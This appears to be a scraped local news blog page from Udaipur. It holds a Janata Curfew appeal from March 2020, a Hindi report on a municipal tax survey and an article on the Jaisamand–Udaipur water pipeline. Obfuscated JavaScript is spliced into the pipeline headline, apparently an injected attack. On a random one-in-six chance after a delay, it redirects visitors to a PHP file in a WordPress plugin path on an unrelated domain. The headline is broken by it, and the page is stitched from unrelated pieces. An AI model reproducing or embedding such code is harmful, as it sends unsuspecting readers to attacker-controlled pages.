Appeal to Udaipurites for Janata Curfew

Janata Curfew

At 8 pm on 19th March 2020, Thursday PM Narendra Modi appealed the nation to abide by the ‘Janata Curfew’. Janata Curfew will be observed on 22nd March 2020, Sunday from 7 am to 9 pm. The aim of the curfew is to promote the practice of staying home and avoid going to public places, so as to avoid the transmission of COVID-19.

During the curfew, the citizens have to stay at home for 14 hours and practice quarantine at home with family. “On March 22, from 7 am to 9 pm, all countrymen have to follow the Janata Curfew,” PM Narendra Modi said.

People working in services which are crucial to the citizens such as police, medical health services, media, home delivery, fire-fighting and those who are serving the nation etc. will not need to take part in the Janata Curfew.

Another request made by the PM was that all the people should come out in their balconies or terraces or doorways or windows at 5 pm for five minutes and clap hands or ring the bells in honour of millions of workers who have been directly serving the nation without caring about themselves in the past month via health services, airport services, and many others.

He has also urged people to inform the other 10 people and act as a responsible citizen by spreading awareness about the Janata Curfew and measures to prevent.

We at UdaipurBlog request all the Udaipurites to abide by Janata Curfew for the sake of our own self and family.

उदयपुर नगर निगम ने 2005 के बाद शहरी विकास (यूडी) कर के नए सर्वेक्षण की शुरुआत की है। शहरी विकास (यूडी) कर शहर के स्वामित्व वाली भूमि पर घर के पुनर्वास या नए निर्माण के लिए एक छूट है, जिसमें फिर से बेची गई संपत्ति भी शामिल है। नगर निगम आयुक्त ने यूडी कर योग्य संपत्तियों के सर्वेक्षण के लिए निविदाएं आमंत्रित करने के लिए 16 मार्च को दोपहर 12 बजे बैठक बुलाई। बैठक के लिए वित्तीय सलाहकार, राजस्व अधिकारी, अतिरिक्त मुख्य अभियंता और उप नगर नियोजक सहित विभिन्न अधिकारियों को बुलाया गया था।

नगर निगम आयुक्त ने पिछले महीने हुई नगर निगम उदयपुर की पिछली बजट बैठक के बारे में अधिकारियों को बताया कि भाजपा पार्षदों ने अधिकारियों से पूछताछ करते हुए उनसे पूछताछ की। भाजपा पार्षदों ने पुष्टि की कि यूडी टैक्स का सर्वेक्षण आखिरी बार 2005 में किया गया था; लेकिन पिछली बैठक में यह तय हुआ था कि अगले महीने में नए सर्वेक्षण का आयोजन किया जाएगा, हालांकि इसे अभी तक नहीं किया गया है।

बैठक में, डिप्टी मेयर ने अधिकारियों से सर्वेक्षण की प्रगति के बारे में पूछताछ की और उन्होंने नाराज़गी जताई, जब उन्हें पता चला कि सर्वेक्षण नहीं किया गया है क्योंकि कार्यवाही रिपोर्ट में यह उल्लेख किया गया था कि सर्वेक्षण हो गया है। विपक्ष के नेता गुलाब चंद कटारिया ने कहा कि सर्वे जल्द पूरा होना चाहिए।

Udaipur will get 200 lakh liters more water per day from the new Jaisamand-Udaipur pipeline

Jaisam$Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Udaipur Pipeline

The state government gave its approval to change the 55 km long pipeline coming from Jaisamand to Udaipur. It will take 3 years to construct this pipeline costing 215 crores.

Doubling the capacity of the 55 km long line, which has been supplying drinking water from Jaisamand Lake to the city of Udaipur for 25 years, will provide 20 MLD or 200 lakh litres of additional water per day from Jaisamand.

Currently, 21 MLD water per day is being supplied from the biggest man-made lake in the city.

Chief Minister Ashok Gehlot’s 215 crores project was approved in the recent budget session.

The Water Supply Department has started working on the project. The project is expected to be completed by October 2023. The tender process will begin as soon as the final Detailed Project Report (DPR) gets approved.

The pipeline that has been supplying water from the Jaisamand Lake since 1995 has 450 to 600 mm in diameter. The new pipeline will be built in 600 to 900 mm in diameter.

An intake well will also be built on the lake. Besides, the old pump houses will be renovated and new pumps will be installed. A new filter plant of 20 MLD capacity will also be built in Udaipur along with tanks for water storage. The locations to build the tanks will be decided as per the requirement.

Jaisamand Lake has a capacity of 14650 Million Cubic Feet (MCFT) out of which 630 MCFT of water is reserved by the Water Supply Department for supplying drinking water in Udaipur city and Salumbar region.

Since the age-old pipeline is damaged in many places, the water from Jaisamand also does not reach the city in sufficient quantity. Because of this, the city experienced huge water crises last year, pushing the department to provide water supply to the city once in 72 hours.
